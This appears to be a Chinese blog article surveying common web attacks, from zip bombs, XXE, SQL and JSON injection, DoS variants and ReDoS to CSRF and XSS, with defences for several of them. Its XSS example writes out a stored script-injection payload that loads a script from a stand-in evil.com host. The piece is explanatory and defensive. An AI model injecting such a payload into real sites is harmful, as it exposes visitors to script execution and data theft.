常见的Web攻击.md
1.ZIP炸弹
zip炸弹就是一个高压缩比的zip文件,它本身可能只有几M或几十M的大小,但是解压缩之后会产生巨大的数据量,会解压到几十G的大小甚至更大,这种zip文件会对解压缩的系统造成严重的资源负担,影响目标系统业务甚至达到使系统崩溃的结果。
防范校验,步骤如下:
- 第一步,校验ZIP压缩包大小。
- 第二步,校验ZIP压缩包解压后的大小。
参考文档:zip炸弹和跨目录zip文件的构造
2.zip跨目录
zip跨目录与我们常见的跨目录问题类似,都是使用../
来进行相对路径的目录跨越,zip文件中携带含有../
的文件,在解压过程中这些文件名被解析成相对路径,解压后就会将这些文件传递到其他目录。
3.XML攻击
XXE
的漏洞都是因为对xml解析时允许引用外部实体,从而导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命令
如果根本不需要inline DOCTYPE
声明,可直接使用以下属性将其完全禁用:
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
目的是为了禁用xml中的inline DOCTYPE
声明,说白了就是禁用DTD
,不允许将外部实体包含在传入的 XML 文档中,从而防止XML实体注入(XML External Entities
攻击,利用能够在处理时动态构建文档的 XML 功能,注入外部实体)。
参考文档:
- xml注入攻击总结
- 不允许使用 DOCTYPE
- JAVA常见的XXE漏洞写法和防御
4.JSON 注入
JSON注入是指应用程序所解析的JSON数据来源于不可信赖的数据源
,程序没有对这些不可信赖的数据进行验证、过滤,如果应用程序使用未经验证的输入构造 JSON,则可以更改 JSON 数据的语义。在相对理想的情况下,攻击者可能会插入无关的元素,导致应用程序在解析 JSON数据时抛出异常。
String json = "{"\"specialchars\": \"~!@#$%^&*()_+{}:<>?`-=[];',./\"}";
- web安全之JSON
- json注入测试方法
5. SQL注入简介
Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一。
6. DoS 拒绝服务攻击 & DDoS 分布式拒绝服务攻击
拒绝服务攻击(Denial-of-Service Attack
)亦称洪水攻击
,是一种网络攻击手法,其目的在于使目标电脑的网络或系统资源耗尽,使服务暂时中断或停止,导致其正常用户无法访问。
分布式拒绝服务攻击(Distributed Denial-of-Service Attack
),是使用网络上两个或两个以上被攻陷的电脑作为 “僵尸” 向特定的目标发动 “拒绝服务” 式攻击。
DDoS攻击可以具体分成两种形式:
- 带宽消耗型攻击
- 资源消耗型攻击
常见攻击手段:
- SYN洪水攻击
SYN洪水攻击是利用TCP协议的缺陷,通过发送大量的半连接请求消耗资源,造成网络拥塞甚至宕机以达到攻击者不可告人的秘密。 - IP欺骗
这种攻击同样是利用TCP协议栈的漏洞,我们知道TCP协议有一个RST位用于连接出错时的复位。这种攻击利用IP欺骗,使得服务器将合法的用户连接复位,影响正常用户的使用。比如说现在有一个合法连接(172.111.222.123),攻击者构造一个TCP数据报,伪装自己的IP是172.111.222.123,并向服务器发送一个带RST位的数据报。服务器接收到后会认为该连接发生错误,将该连接从缓冲区中移除,所以正常用户只能重新发起连接。 - Land攻击
进行Land攻击时,黑客特别打造一个源地址和目标地址都被设置成某一个服务器的SYN包,此举将导致接受服务器向它自己的地址发送SYN-ACK消息,结果这个地址又发回ACK消息并创建一个空连接,每一个这样的连接都将保留直到超时。大量的连接将严重影响服务器性能。
7. ReDoS 正则表达式拒绝服务攻击
ReDoS(Regular expression Denial of Service)
正则表达式拒绝服务攻击。
开发人员使用了正则表达式来对用户输入的数据进行有效性校验, 当编写校验的正则表达式存在缺陷或者不严谨时, 攻击者可以构造特殊的字符串来大量消耗服务器的系统资源,造成服务器的服务中断或停止。
防范手段
防范手段只是为了降低风险而不能百分百消除 ReDoS 这种威胁。当然为了避免这种威胁的最好手段是尽量减少正则在业务中的使用场景或者多做测试, 增加服务器的性能监控等。
- 降低正则表达式的复杂度, 尽量少用分组
- 严格限制用户输入的字符串长度(特定情况下)
- 使用单元测试、fuzzing 测试保证安全
- 使用静态代码分析工具, 如: sonar
- 添加服务器性能监控系统, 如: zabbix
浅析ReDoS的原理与实践
8.CSRF攻击
CSRF(Cross Site Request Forgery)
攻击,即跨站请求伪造,是一种常见的Web攻击。
攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证,绕过后台的用户验证,达到冒充用户对被攻击的网站执行某项操作的目的。
一个典型的CSRF攻击有着如下的流程:
- 受害者登录a.com,并保留了登录凭证(Cookie)。
- 攻击者引诱受害者访问了b.com。
- b.com 向 a.com 发送了一个请求:a.com/act=xx。浏览器会…
- a.com接收到请求后,对请求进行验证,并确认是受害者的凭证,误以为是受害者自己发送的请求。
- a.com以受害者的名义执行了act=xx。
- 攻击完成,攻击者在受害者不知情的情况下,冒充受害者,让a.com执行了自己定义的操作。
防范方法:
- 对于POST请求使用验证码,这个方案可以完全杜绝CSRF攻击,但验证码过多会使用户体验很差,所以可以对敏感操作加验证码。
- 非GET请求中添加token,当客户端请求页面,服务器渲染页面时给每个表单生成一个随机数token,并且将token放置到session当中,然后将token发给客户端(一般通过构造hidden表单)。下次客户端提交请求时,token会随着表单一起提交到服务器端。接收到请求后,服务器端会对token值进行验证,判断是否和session中的token值相等,如果不相等则拒绝访问。
- 同源检测
如何防止CSRF攻击?
9.XSS漏洞
XSS(Cross Site Scripting)
,跨站脚本攻击,为了与层叠样式表(一般意义上的CSS)区别开,将其缩写为XSS。
XSS的原理是黑客向Web页面里插入恶意可执行网页脚本代码,当用户浏览该页之时,嵌入其中Web里面的脚本代码会被执行,从而可以达到黑客盗取用户信息或其他侵犯用户安全隐私的目的。XSS漏洞主要分为持久型XSS漏洞和非持久性XSS漏洞。
举个例子:
原有的网站有个将数据库中的数据显示到页面的上功能,document.write("data from server")
。但如果服务器没有验证数据类型,直接接受任何数据时,攻击者可以会将 <script src='http:bad-script.js'></scirpt>
当做一个数据写入数据库。当其他用户请求这个数据时,网站原有的脚本就会执行 document.write("<script src='http://www.evil.com/bad-script.js'></scirpt>")
,这样,便会执行 bad-script.js。如果攻击者在这段第三方的脚本中写入恶意脚本,那么普通用户便会受到攻击。
解决方法:
- 从客户端和服务器端双重验证所有的输入数据,这一般能阻挡大部分注入的脚本
- 对所有的数据进行适当的编码
常见的Web攻击.md相关推荐
- 几种常见的Web攻击
几种常见的Web攻击 文章目录 几种常见的Web攻击 一.DoS攻击 1.SYN洪水攻击 2.IP欺骗 3.Land攻击 4.针对DoS攻击的防御 二.CSRF攻击 1. CSRF攻击的发生有三个必要 ...
- 常见的Web攻击方式有哪些?黑客:28种总有一款适合你
作者:蔚可云2021-01-27 09:41:41 安全应用安全 Web攻击手段,有些可植入恶意代码,有些可获取网站权限,有些还能获取网站用户隐私信息,光常见的Web攻击,就有28种之多,方式多.破坏 ...
- 常见的Web攻击手段,拿捏了!
大家好,我是小菜. 一个希望能够成为 吹着牛X谈架构 的男人!如果你也想成为我想成为的人,不然点个关注做个伴,让小菜不再孤单! 本文主要介绍 互联网中常见的 Web 攻击手段 如有需要,可以参考 如有 ...
- 常见的web攻击有哪些?如何防御?
web攻击是什么 Web攻击(WebAttack)是针对用户上网行为或网站服务器等设备进行攻击的行为,如植入恶意代码.修改网站权限.获取网站用户隐私信息等 Web应用程序的安全性是任何基于Web业务的 ...
- 常见的web攻击技术
今天看图解http,里面讲了些常见的web攻击技术,写一个博客对其原理及其应对方式进行一个整理 1.xss跨站攻击技术:主要是攻击者往网页里嵌入恶意脚本,或者通过改变html元素属性来实现攻击,主要原 ...
- 常见的Web攻击方式:SQL注入、XSS跨站脚本攻击、CSRF跨站点请求伪造
常见的Web攻击有SQL注入.XSS跨站脚本攻击.跨站点请求伪造共三类,下面分别简单介绍. 1 SQL注入 1.1 原理 SQL注入就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字 ...
- 常见的Web攻击手段-整理
整理常见的Web攻击手段: XSS攻击 CSRF攻击 SQL注入攻击 文件上传漏洞 DDoS攻击 其他攻击手段 XSS攻击 XSS(Cross Site Scripting)跨站脚本攻击,为了不与层叠 ...
- 常见的Web攻击方式及对应防御
Web攻击 XSS(跨站脚本攻击) CSRF(跨站请求伪造) Http Heads攻击 SQL 注入 DOS攻击(拒绝服务攻击) DDOS攻击 (分布式拒绝服务攻击) XSS(跨站脚本攻击) 简介: ...
- 常见的web攻击手段
整理自网上关于web攻击的热门文章. (一)跨站脚本攻击 跨站脚本攻击(Cross-Site Scripting,XSS)是指通过存在安全漏洞的web网站注册用户的浏览器内运行非法的HTML标签或Ja ...
最新文章
- 网域环境如何让用户自行修改密码
- c语言16x32点阵显示汉字,点阵16*32滚屏显示汉字
- SpringMVC学习系列(8) 之 国际化
- android对话框字体大小,Android Dialog 设置字体大小的具体方法
- 双11特刊|十年磨一剑,云原生多模数据库Lindorm 2021双11总结
- vue-cli3.0相关的坑
- 设计灵感|色彩叠加在海报设计中的妙用!
- 远程连接 速度慢 显示 正在连接到很久
- Java函数式编程整理
- matlab 带通滤波函数,用matlab制作带通滤波器.doc
- 计算机专业英语词汇分类收录
- php 分级机价格,两种不同结构的分级机对比
- 关于虚拟机非正常关机的解决方案
- opencv学习之视频帧率
- APS计划软件助纺织企业降低成本,提升效益
- Nginx 301重定向域名
- MathType 6.9嵌入到Office(word)2016中
- JDK11安装完成后没有jre目录
- 如何恢复删除的数据(以损坏的U盘为例)
- 节日来临,欺诈邮件太多,如何破
热门文章
- Simulink学习——子系统(Enable Subsystem、Triggered Subsystem、Function-Call Subsystem和Resettable subsystems)
- 雷军将电子商务融入移动互联网,比如小米手机
- PigYear病毒 代码 研究
- Bone Collector(骨头收集器) ---01背包 记录
- 1.4 浅层神经网络
- 0基础转行Web前端系统的学习路线分享
- node.js和vue.js
- 动态报表D-Query 通过字频优化字段选择
- 传说中的装机必备?Windows系统中哪些软件可被称为必装?
- 艺术与工程技术的交叉碰撞